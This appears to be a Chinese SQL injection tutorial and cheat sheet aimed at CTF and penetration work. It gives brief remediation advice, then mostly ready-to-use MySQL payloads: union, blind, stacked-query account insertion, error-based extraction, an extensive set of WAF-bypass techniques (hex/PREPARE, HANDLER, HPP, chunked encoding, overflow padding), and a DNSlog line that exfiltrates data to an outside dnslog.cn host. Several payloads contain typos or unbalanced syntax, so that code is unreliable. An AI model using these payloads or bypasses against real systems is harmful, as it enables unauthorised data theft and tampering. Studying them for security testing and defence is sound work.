测试方法

在发现有可控参数的地方使用sqlmap进行SQL注入的检查或者利用,也可以使用其他的SQL注入工具,简单点可以使用手工测试。推荐使用burpsuite的sqlmap插件

修复建议

采用 sql 语句预编译和绑定变量,是防御sql的最佳方法

  • 所有查询语句都使用是数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户变量嵌入sql语句中。
  • 对进入数据库的特殊字符进行转义过滤,或者编码处理
  • 确认每种数字的类型,比如数字型的数据必须是数字,数据库中的存储字段必须是int型
  • 数据长度应该严格规定,能在一定程度上防止比较长的sql注入无法正确允许
  • 网站每个数据层的编码统一,建议全部使用UTF-8,上下层编码不一致有可能导致一些过滤模型被绕过
  • 严格限制网站用户的数据库权限,给用户提供仅仅满足其工作的权限,从而最大限度减少注入攻击
  • 避免网站显示数据库错误信息,比如类型错误、字段不匹配等

mysql相关知识

mysql是一种服务型数据库,进行统一管理

在mysql5版本之后,mysql默认在数据库中存放一个叫information_schema的库,这个库有很多表,重点是columns、tables、schemata表记录着库的信息

web SQL 注入漏洞原理

SQL注入产生原理

动态交互网站,实现交互利用用户输入拼接到SQL执行,输入不同导致返回结果不同。用户输入内容没有经过完美处理,而且构造SQL语句,直接将构造的SQL语句带入SQL语句中执行,导致SQL注入漏洞

条件:

参数用户可控:从前端传到后端的参数内容是用户可以控制的 参数带入数据库查询:传入的参数拼接到SQL语句,且传入数据库查询。

SQL语句拼接:select * from admin where username = '用户提交' and password = '用户提交';

使用万能密码(1’ or ‘1’=‘1)

select * from admin where username = '用户提交' and password = '1' or '1'='1';

此时便可看出存在漏洞。

漏洞存在判断

根本原因

可控变量+特定函数 测试url::

http://192.168.110.1
http://192.168.110.1/?id=123
http:///192.168.110.1/?id=1&page=1

回显是指页面有数据 信息返回

无回显是指根据输入的语句 页面没有任何变化或没有数据库中的内容显示到网页中

常见判断语句

id=1 and 1=1
id=1 and 1=2
id=1 or 1=1
id='1' or '1'='1'
id="1" or "1"="1"

sql注释符

# 单行注释,编码:&#35%23

—空格 单行注释 注意为短线短线空格

/**/ 多行注释 至少存在两处注入,编码/**/

web SQL 注入漏洞原理的类型

按攻击方式分为:

  • 可联合查询漏洞(UNION query SQL injection)
  • 可多语句查询注入(Stacked query SQL injection)
  • 布尔注入(Boolean-based blind SQL injection)
  • 报错型注入(Error-based SQL injection)
  • 基于时间延时注入(Time-based blind SQL injection)

接受参数分为:

  • get注入
    • get请求参数放在url里,get请求的url传参有长度限制,中文需要url编码
  • post注入
    • post请求参数是放在请求body中的,长度没有限制
  • cookie参数注入
    • cookie参数放在请求头信息,提交时服务器会从请求头获取

注入类型分为:

int 整型

select * from users where id = 1;

string 字符型

select * from user where username='admin';

like 搜索型

select * from news where title like '%标题%'

注入流程

  1. 是否存在注入并且判断注入类型

    • 判断字段数
      • order by
    • 确定回显点
      • union select 1,2
    • 查询数据库信息
      • @@version
      • @@datadir
    • 查询用户名、数据库名
      • user()、database()
    • 文件读取
      • union select 1,load_file(‘C:\windows\win.ini’)
    • 写入 webshell
      • select … into outfile … 使用sql注入遇到转义字符串的单引号或者双引号,可以使用HEX编码绕过
  2. 手工注入常规思路

    1. 判断是否存在注入,注入是字符型还是数字型
    2. 猜解SQL查询语句中的字段数
    3. 确定显示字段顺序
    4. 获取当前数据库
      1. group_concat(schema_name) from information_schema.schemata
    5. 获取数据库中的表
      1. group_concat(table_name) from information_schema.tables where table_schema=库名查询表名
    6. 获取表中的字段名
      1. union select 1,2,group_concat(column_name) from information_schema.columns where table_name='表名'查询字段名
    7. 查询到账户的数据
      1. ?username=1' union select 1,database(),group_concat(字段1,字段2,字段3) from 库名

UNION联合注入原理

联合查询注入是结合两个表进行注入攻击,使用关键词 union select 对两个表进行联合查询。两个表的字段要数要相同,不然会报错

通过联合查询获取 information_schema 获取表

在黑盒情况下是不知道当前库有什么表,可以通过mysql自带的information_schem查询当前的表

可以通过 limit 1,1来限定条数,第二条就是 limit 2,1

注入方式

布尔盲注

在页面不会显示数据库信息,一般情况下只会显示对与错的一种类型

布尔盲注需要用到SQL语句select if(1=1,1,0)

解释

if()是判断的意思,第一个参数,如果条件成立,会显示1,否则显示0,1=1可以换成其他sql语句

在黑盒环境下,通过构造SQL注入语句,根据页面的特征确定获取敏感信息。

获取库名

SUBSTRING()字符串截图。第一个参数是字符串,第二个参数是开始截取的位数,第三个截取的是长度

常用语句

1' and if(substring(database(),1,0)='v',1,1),1,0)-- 

获取长度

1' and if(length(database()=4),1,0)-- 

获取表名

1' and if(substring((select TABLE_NAME from information schema TABLES where TABLE_SEHEMA=database()limit 1),1,1)='g',1,0)-- 

获取字段名

1' and if(substring((select COLUMN_NAME from information_schema COLUMNS where TABLE='user' limit 1,1),1,1),1,0)-- 

获取数据

1' and if(substring((select CONCT(user,0x3a,PASSWORD) from users limit 1),1,1)='a',1,0)-- 

时间注入

又名延时注入,属于盲注入的一种,通常是某个注入点无法通过布尔型注入获取数据而采取的一种突破注入的技巧

在 mysql 里,函数 sleep() 是延时的意思,通过使用'and sleep(10),数据库延时10s来判断是否存在时间注入

判断方法

select if(2>1,sleep(10),0) -- 

判读查询当前库名长度大于1就会延时5s

select if(length(database())>1,sleep(5),0) -- 

判读查询当前库长度大于1就不会延时

-1' or if(length(database()>1,sleep(5),0)) -- 

堆叠注入

可以执行多条SQL语句,语句之间以分号(;)隔开,而堆叠查询注入攻击就是利用此特点

在mysql中,mysqli_multi_querymysql_multi_query两个函数可以执行一个或多个针对数据库的查询。多个查询用分号进行分隔,但是堆叠查询只能返回第一条查询信息,不返回后面信息

select version();select database()

堆叠注入的危害是很大的,可以任意使用增删查改的语句

waf的绕过

RENAME绕过

但通常多语句执行时,若前条语句已返回数据,则之后的语句返回的数据通常无法返回前端页面,可考虑使用RENAME关键字,将想要的数据列名/表名更改成返回数据的SQL语句所定义的表/列名 。

预处理绕过

当目标网站存在 堆叠注入 漏洞(即允许使用 ; 执行多条SQL语句),但部署了严格的 WAF(Web应用防火墙),过滤了诸如 selectupdateunion 等关键字符时,常规的注入或简单的堆叠查询会直接被拦截。

此时,我们可以利用 预处理语句(Prepared Statements) 结合 字符串拼接十六进制编码(Hex) 来动态构造 SQL 语句,从而完美绕过 WAF 的正则匹配。

1、核心原理 利用堆叠注入连续执行三条语句:SET(定义变量并利用函数隐藏关键字) PREPARE(准备语句) EXECUTE(执行语句)。 2、常见绕过姿势

利用 concat() 函数拼接绕过

如果 WAF 只是单纯过滤了完整的 select 单词,我们可以把它拆开:

1'; Set @a=concat("s","elect flag from `1919810931114514`"); prepare stmt from @a; execute stmt; --+

解析:WAF 检查时只看到了 select,放行。但在 MySQL 内部执行 execute stmt 时,它已经被重新组装成了完整的 select 语句。

利用 十六进制 (Hex) 编码绕过(终极杀招)

如果 WAF 过滤极其严格,甚至连单引号 '" 或者 concat 函数都过滤了,我们可以直接将整个恶意 SQL 语句转换为十六进制: 假设我们要执行的语句是 select flag from 1919810931114514“,其 Hex 编码为 0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460

1'; Set @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460; prepare stmt from @a; execute stmt; --+

解析:MySQL 会自动将十六进制解码为对应的 SQL 文本串并赋值给 @a。这种方法整个 payload 中没有任何敏感英文字母(除了 set/prepare/execute 这几个通常不会被封杀的基础控制词),绕过率极高。

注意事项(结合堆叠注入的限制) 正如“堆叠注入”开头所记录的:“堆叠查询只能返回第一条查询信息,不返回后面信息”。 因此,虽然 execute stmt; 成功执行了你的查询,但结果可能无法直接回显在前端页面上。在实战中,这种手法常被用于:

  1. 执行增删改: 如图片下方演示的 insert into ... 添加管理员账号。
  2. 结合盲注: 将预处理与 sleep() 结合进行时间盲注。
  3. 强行回显: 在部分特殊的 CTF 环境或后端逻辑中,结合 RENAME(把包含 flag 的表改名为默认查询的表)或者利用 HANDLER 语句来读取数据。

利用 HANDLER 语句读取数据

1. HANDLER 到底是什么? 在 MySQL 中,HANDLER 并不是标准的 SQL 查询语句(如 SELECT),而是一种直接访问数据库存储引擎接口的机制。

  • 打个比方: 如果把数据库当成一个图书馆,SELECT 是你填检索卡让图书管理员(SQL 优化器/解析器)帮你找书;而 HANDLER 相当于你直接拿到了书架的钥匙,自己走进去一行一行地翻书。

2. 为什么用它来进行注入绕过?

  • 完美避开敏感字: 它完全不需要使用 SELECTUNION 等常规查询关键字。
  • 无视未知的字段名(列名): 这是它最强大的地方。在盲注或堆叠注入中,有时我们能查到表名(例如 1919810931114514),但不知道里面存 flag 的那一列叫什么名字。使用 HANDLER 每次读取一整行,不需要指定列名,直接把数据“倒”出来。

3. HANDLER 的核心语法(三步曲)

使用 HANDLER 就像操作一个游标或文件指针,必须遵循“打开 读取 关闭”的流程:

  • 第一步:打开表 (Open)

    HANDLER table_name OPEN [AS alias];
    

    作用: 打开指定的表。可以使用 AS 给表起个简短的别名(如图片中的 open as aaa),方便后续操作。

  • 第二步:读取数据 (Read)

    HANDLER table_name_or_alias READ {FIRST | NEXT | PREV | LAST};
    

    作用: 移动指针并读取数据。

    • FIRST:读取表的第一行数据。
    • NEXT:读取下一行(顺着往下摸瓜)。
    • LAST:读取最后一行。
  • 第三步:关闭表 (Close)

    HANDLER table_name_or_alias CLOSE;
    

    作用:释放资源(在注入攻击中,这一步有时会被攻击者省略,直接靠执行结束自动销毁)。

4. 笔记中 Payload 的实战解析

  • Payload 1(带别名):

    1'; handler `1919810931114514` open as aaa; handler aaa read first; --+
    

    解析: 1'; 闭合前面的语句并开启堆叠。打开全是数字的恶心表名并重命名为 aaa,然后直接读取 aaa 的第一行数据。如果 flag 就在第一行,就会直接爆出来。

  • Payload 2(不带别名,直接读第二行):

    1'; handler `1919810931114514` open; handler `1919810931114514` read next; --+
    

    解析: 这里没有用 FIRST 而是用了 NEXT。通常是因为在某些测试环境中,直接 open 后游标可能已经指向了第一行之前,或者第一行是干扰数据,使用 next 顺着往下读。

总结: 遇到过滤极其变态的堆叠注入题,只要没有过滤 HANDLER,直接构造 1'; handler 表名 open; handler 表名 read first; 往往能一击致命。

漏洞利用

权限获取漏洞

使用 id=1' and 1=2--+进行检测,接着使用堆叠注入语法进行检测

比如:id=1' and 1=2;sleep(5)--+

我们可以插入新的账号信息:

id=1';instert into user(id,username,password) values(20,chen,123456)

报错注入

xml函数报错

在mysql高版本(大于5.1版本)中添加了对XML文档进行查询和修改的函数:

  • updatexml()
  • extractvalue()
    当这两个函数在执行时,如果出现xml文档路径错误就会产生报错

updatexml函数

是一个使用不同的xml标记匹配和替换xml块的函数。

作用:改变文档中符合条件的节点的值

语法: updatexml(XML_document,XPath_string,new_value) 第一个参数:是string格式,为XML文档对象的名称,文中为Doc 第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】 第三个参数:string格式,替换查找到的符合条件的数据

updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)

例如: select * from test where ide = 1 and (updatexml(1,0x7e,3)); 由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。

extractvalue函数

此函数从目标XML中返回包含所查询值的字符串 

语法:extractvalue(XML_document,xpath_string)  第一个参数:string格式,为XML文档对象的名称  第二个参数:xpath_string(xpath格式的字符串)  select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

extractvalue使用时当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)

select user,password from users where user_id=1 and (extractvalue(1,0x7e));

由于0x7e就是~不属于xpath语法格式,因此报出xpath语法错误。

主键冲突报错

floor函数+rand函数+group_by组合

SELECT count(*), concat((SELECT password FROM users LIMIT 1), floor(rand(0)*2)) as x FROM information_schema.tables GROUP BY x;

报错原因Duplicate entry '...' for key 'group_key'(主键重复冲突)

  • 核心原理
    1. 当带有 group by 执行时,MySQL 会在内存中建立一个虚拟表,用来对数据进行分组。虚拟表有一个主键(就是 group by 后面的字段)。
    2. rand(0)*2 产生的伪随机数列是固定的:0, 1, 1, 0, 1, 1...
    3. 当扫描原表时,MySQL 遇到 group by x,会先计算 x 的值,去虚拟表里查是否存在。
    4. 关键点:如果虚拟表里不存在该键值,MySQL 会再次计算一次 x 的值,然后将其插入虚拟表。因为 rand() 被计算了两次,导致原本要插入的键值发生了变化,最终导致插入了相同的键值,触发主键冲突报错。报错信息中就会携带我们拼接的 passworduser() 信息。

类型转换报错

convert报错

convert() 或数据类型转换引发的报错,通常是因为 MySQL 在处理不兼容的数据类型或特定内部函数(如 GTID)时,会将非法的数据内容直接回显在错误信息中。

GTID_SUBSET报错 (MySQL >= 5.6)

原理GTID_SUBSET() 函数期望接收两个参数(通常是 GTID 集合)。当我们传入包含子查询的字符串时,MySQL 会尝试将其转换为 GTID 格式,转换失败并报错,同时在报错中回显该字符串。 Payload 示例

select * from users where id = 1 and GTID_SUBSET(concat(0x7e,(select user()),0x7e), 1);

报错信息Malformed GTID set specification '~root@localhost~'.

NAME_CONST报错

原理NAME_CONST(name, value) 用于返回给定列名的值。如果传入的 name 是一个由系统函数组成的动态表达式,会引发列名不符合规范的报错。

Payload 示例

select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
  • 报错信息Duplicate column name '5.7.26'

数学运算溢出报错 (Double/BigInt Overflow)

利用数学计算超出 MySQL 数据类型允许的最大范围,从而引发溢出错误。这类方法在 XML 函数被禁用或过滤时非常有效。

exp() 报错 (MySQL >= 5.5)

  • 原理exp(x) 返回 。当 超过 709 时,结果会超出 Double 类型的最大范围而报错。结合按位取反 ~,可以快速构造一个极大值。
  • Payload 示例
select exp(~(select * from (select user())a));
  • 报错信息DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

BIGINT 溢出 (加减法)

原理:利用 MySQL 中 BIGINT 无符号类型的最大值。当最大值加上一个非零值,或者对 0 进行按位取反(得到最大值)时,产生溢出。 Payload 示例

select !(select * from (select user())x) - ~0;

报错信息BIGINT value is out of range in '(!(select 'root@localhost' from dual) - ~(0))'

空间函数报错 (Geometry Functions)

在 MySQL 5.0.32 版本之后,引入了一系列用于处理地理空间数据的函数。如果传入的参数不是合法的几何数据(Geometry),就会报错并回显内容。

  • 常用的空间函数GeometryCollection(), polygon(), multipoint(), linestring(), ST_LatFromGeoHash()

  • Payload 示例 (ST_LatFromGeoHash)

    select * from test where id=1 and ST_LatFromGeoHash(concat(0x7e,(select user()),0x7e));
    
  • 报错信息Incorrect geohash value: '~root@localhost~' for function st_latfromgeohash

WAF绕过

通用WAF绕过

在实战或 CTF 中,当常规的 SQL 注入 Payload 被 WAF(Web 应用防火墙)拦截时,我们需要通过变形、替换或编码等方式来绕过检测。以下是常见的绕过姿势汇总:

空格绕过

当 WAF 过滤了普通空格( )或 %20 时,可以使用其他空白符或符号代替:

  • 注释符替换: 使用 /**//*任意内容*/ 代替空格。
    • Payload: select/**/user()/**/from/**/dual;
  • 括号包裹: 在函数或子查询周围使用 () 避免使用空格。
    • Payload: select(user())from(dual);
  • URL 编码空白符:
    • %09 (Tab 键)
    • %0A (换行)
    • %0C (换页)
    • %0D (回车)
    • %0B (垂直制表符)
    • %A0 (不间断空格)

关键字绕过 (针对 Select, Union, And, Or 等)

当 WAF 对特定关键字进行黑名单拦截时:

  • 大小写混写: 针对不区分大小写的 WAF,改变字母大小写。
    • Payload: sElEcT, uNiOn, aNd
  • 双写绕过: 针对 WAF 将敏感词替换为空(且只替换一次)的逻辑。
    • Payload: selSELECTect 过滤掉中间的 SELECT 后,剩下的字符重新组合成 select
  • 内联注释(MySQL 专属): 使用 /*!关键字*/ 的形式,MySQL 会将其当作正常代码执行,但某些 WAF 会视为注释放行。
    • Payload:/*!50000select*/ * from users; (50000 表示 MySQL 版本号大于 5.0.00 时执行)
  • 利用 \N
    • Payload:select * from users where id=8e0\Nunion select 1,2,3;

无列名注入

information_schema.columns 被过滤,我们知道表名(如 usersflag)却不知道字段名时,常规的 select 列名 from 表名 就会失效。此时可以利用以下三种进阶姿势来“无中生有”或绕过列名限制。

报错注入:利用 JOIN 和 USING 爆列名

核心原理: 利用 MySQL 在进行表连接(JOIN)时,如果存在同名字段且未指定别名,作为派生表查询时会报 Duplicate column name(重复的列名)错误的特性,让数据库自己把列名吐出来。

  • 爆第一列列名: 将同一个表进行无条件自连接。 Payload: select * from (select * from users as a join users as b) as c; 报错信息: ERROR 1060 (42S21): Duplicate column name 'id' (成功爆出第一列为 id)

  • 爆第二列列名: 利用 USING() 函数忽略掉已经爆出来的第一列,继续自连接。 Payload: select * from (select * from users as a join users as b using(id)) as c; 报错信息: ERROR 1060 (42S21): Duplicate column name 'username' (成功爆出第二列为 username)

  • 后续列名: 不断在 USING() 中加入已知的列名即可:using(id, username),直到爆出想要的字段。

联合查询(UNION):利用虚拟表和别名读取数据

核心原理: 当我们可以使用 UNION SELECT 时,可以通过联合一组数字常量来构造一个“虚拟表”。在这个虚拟表中,列名就是我们自己定义的数字或别名,从而绕过对真实列名的依赖。

  • 构造虚拟表: 假设目标表有 3 列。我们可以这样构造: select 1,2,3 union select * from users; 此时,原本 users 表里的数据,就被附着在了列名为 123 的虚拟表下方
  • 提取数据(使用反引号): 将上面的虚拟表作为一个子查询,直接查询它的列(注意:数字作为列名时,需要用反引号 `包裹):
    • Payload: select` 2`,` 3 `from (select 1,2,3 union select * from users) as a limit 1,1;
    • 解析: 从别名为 a\ 的虚拟表中,查出第 2 列和第 3 列的数据。
  • 终极绕过(连反引号都不用): 如果 WAF 过滤了反引号,可以在内部 SELECT 中直接赋予英文字母别名:
    • Payload:select b, c from (select 1,2 as b, 3 as c union select * from users) as a limit 1,1;
字符比较盲注

核心原理: 当既不知道列名,页面又没有报错和数据回显时(盲注场景),我们可以利用 MySQL 字符串比较大小的特性。MySQL 比较字符串是逐个字符比较其 ASCII 码值(例如 'b' > 'a' 为 True,'admin' > 'admia' 为 True)。

“虚拟表”“字符串比较” 结合起来,就可以进行按位盲注。

  • 测试 Payload 逻辑: 假设我们要猜解 flag 表的第一列数据。 Payload: select 'f' > (select 1 from (select 1 union select * from flag) as a limit 1,1);
  • *实战盲注思路(配合 Python 脚本):
    1. 构造虚拟表取出目标数据(例如 flag 内容)。
    2. 在外面用我们生成的字符串去跟它比较(比如用布尔盲注的形式:... and 'flag{a}' > (select \1 from ...))。
    3. 通过页面返回的 True 或 False 状态,利用二分法不断缩小范围,最终逐位猜解出完整的 flag。

符号与逻辑运算符绕过

当常用的运算符(如 =, and, or)被过滤时,寻找等价替换:

  • 过滤 and / or
    • and 等价于 &&
    • or 等价于 ||
    • 异或注入:xor^
  • 过滤 = (等号):
    • 使用 LIKE / RLIKE / REGEXP 进行模式匹配。
    • 使用 <> / != 配合逻辑反转。
    • 使用 IN() 函数:where id in (1)
  • *过滤 < / > (大于小于号,常见于盲注):
    • 使用 GREATEST()LEAST() 函数。
    • 使用 BETWEEN AND 关键字。
    • 使用 strcmp() 函数。

字符串与引号绕过

当单引号 ' 或双引号 " 被过滤,导致无法闭合或传入字符串时:

  • 十六进制编码 (Hex): 将目标字符串转为十六进制,MySQL 会自动解析
    • 常规: select * from users where username='admin'
    • 绕过: select * from users where username=0x61646d696e
  • CHAR() 函数: 将字符的 ASCII 码传入 char() 函数。
    • 绕过:select char(97,100,109,105,110)

等价函数替换

WAF 经常会封杀常用于报错注入或盲注的函数,此时需使用同类函数平替:

  • 字符串截取 (常用于盲注):
    • 过滤了 substr() 替换为 substring(), mid(), left(), right()
    • 还可以利用 lpad(), rpad(), make_set(), elt() 等函数。
  • ASCII 转换:
    • 过滤了 ascii() 替换为 ord()
  • 字符串拼接:
    • 过滤了 concat() 替换为 concat_ws(), group_concat()
  • 延时函数 (时间盲注):
    • 过滤了 sleep() 替换为 benchmark(10000000, md5(1)),或者利用笛卡尔积产生重负荷查询(如 SELECT count(*) FROM information_schema.columns A, information_schema.columns B)。

HTTP 层面的通用绕过

脱离 SQL 语法本身,从 HTTP 请求协议层面欺骗 WAF:

  • HPP (HTTP 参数污染): 提交多个同名参数。例如 Tomcat 解析第一个,而 PHP/Apache 解析最后一个。
    • 请求: ?id=1/**/&id=union select 1,2,3
  • 分块传输编码 (Chunked Encoding): 利用 HTTP/1.1 的 Transfer-Encoding: chunked,将含有 Payload 的数据包分块发送,让 WAF 无法拼接完整的恶意特征,而服务器能正常解析。
  • 请求方式绕过: 很多 WAF 默认只检测 GET 请求。可以将请求方法改为 POST,或者在 Cookie、User-Agent 等 HTTP 头中寻找注入点。

进阶绕过

当常规的 SQL 语法混淆和变形都被严格拦截时,我们需要跳出 SQL 语言层面,利用 WAF 自身的缺陷HTTP 协议的解析差异 来实现“降维打击”。

缓冲区溢出 (WAF 崩溃绕过)

  • 核心原理: 市面上大部分底层防火墙(WAF)是基于 C/C++ 开发的。如果在特定的注入点发送超长的数据(脏数据),可能会导致 WAF 处理时发生缓冲区溢出。WAF 崩溃或超时后,为了保证业务可用性,往往会“Bypass(放行)”该请求,从而让恶意 Payload 直接到达后端数据库。
  • 利用方式: 使用大量的无用字符(如 A)填充 Payload。
    • Payload 示例:
      ?page_id=-15+and+(select1)=(Select 0xAA[..这里添加大约1000个"A"..])+/*!UNiOn*/+/*!SeLEct*/+1,2,3,4...
      
    • 测试 Payload(结合内联注释和乱码):
      ?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4...
      
  • 拓展说明: 如果发送大量数据后产生报错,通常证明该节点存在溢出可能。此外,大量脏数据不仅能让 WAF 崩溃,还可以用于构造布尔盲注或报错注入的触发条件。

HTTP 层面的协议绕过

脱离 SQL 语法本身,通过改变 HTTP 请求的传输机制来欺骗 WAF。

  • 分块传输编码 (Chunked Transfer Encoding)
    • 核心原理: 这是 HTTP/1.1 中的一种数据传输机制。通常数据发送由 Content-Length 决定长度,但在分块传输下,数据会被切割成一个个小块(Chunk),服务器接收到一个块就处理一个块。
    • 绕过逻辑: 很多 WAF 无法完整地重组并解析分块传输的数据流,它们看到的是支离破碎的片段,无法匹配出完整的恶意 SQL 特征。而最终应用层的 Web 容器(如 Tomcat、Apache)能正确组装这些数据并交给数据库执行。
    • 操作方式: 在 HTTP 请求头中添加 Transfer-Encoding: chunked,然后将 Payload 分块发送。
    • 实战工具推荐: BurpSuite 插件 Chunked coding converter (https://github.com/c0ny1/chunked-coding-converter)
  • HPP (HTTP 参数污染)
    • 核心原理: 当客户端提交多个同名参数(例如 ?id=1&id=2)时,不同的中间件、WAF 和后端语言对这些同名参数的解析策略是完全不同的(例如 Tomcat 只取第一个,而 PHP/Apache 取最后一个,ASP.NET 会将它们用逗号拼接)。
    • 绕过逻辑: 利用 WAF 和后端服务器解析策略的差异,将完整的 SQL 语句拆分到多个同名参数中。WAF 往往只检查其中一个参数或无法理解拆分后的片段,从而放行。
    • Payload 示例: 原本被拦截的语句:id=1 union select 1,2,3 from users where id=1- 利用 HPP 拆分改造:id=1 union select 1&id=2,3 from users where id=1-

Dnslog外带注入

对网站用sqlmap跑盲注的话有可能会把ip封掉,这时我们可以考虑把数据外带到dnslog上通过日志读回显,这样也算变相代理池了,不过这种方法需要使用Load_file函数,这个函数的作用是读取文件并返回文件内容为字符串,访问互联网中的文件时,需要在最前面加上两个斜杠 //,有几个利用的条件:

  • 首先要有注入点
  • 需要有root权限
  • 数据库有读写权限即:secure_file_priv=“”
  • 得有请求url权限
  • 还必须得是windows服务器

比如我们可以使用语句:

select load_file(concat('//',(select database()),'.je5i3a.dnslog.cn/1.txt'));

二次注入

二次注入的可怕之处在于,它利用了程序员的“盲目自信”——程序员通常会防御用户的直接输入,但往往会百分之百信任从自己数据库里读出来的数据。

它严格分为两个步骤:

  • 第一步:恶意数据“合法”入库(埋炸弹) 你在注册页面输入用户名 admin'#。此时,后端的防御机制(比如转义)生效了,把你的单引号转义成了 \',所以你的注册操作是安全的,并没有引发报错。最终,数据库里确确实实存入了一个名字叫 admin'# 的新用户。 在这个阶段,没有任何注入发生,恶意代码只是被当作普通字符串“休眠”在数据库里。
  • 第二步:数据被读取并带入新查询(引爆炸弹) 过了几天,你登录了这个 admin'# 账号,想去修改密码。 后端程序从数据库里读取你的用户名,准备拼接到修改密码的 SQL 语句中。这时候,程序员大意了:“这是从我自家数据库里拿出来的数据,肯定是干净的,不用转义了!” 于是,后端直接把带有单引号的 admin'# 塞进了更新语句中。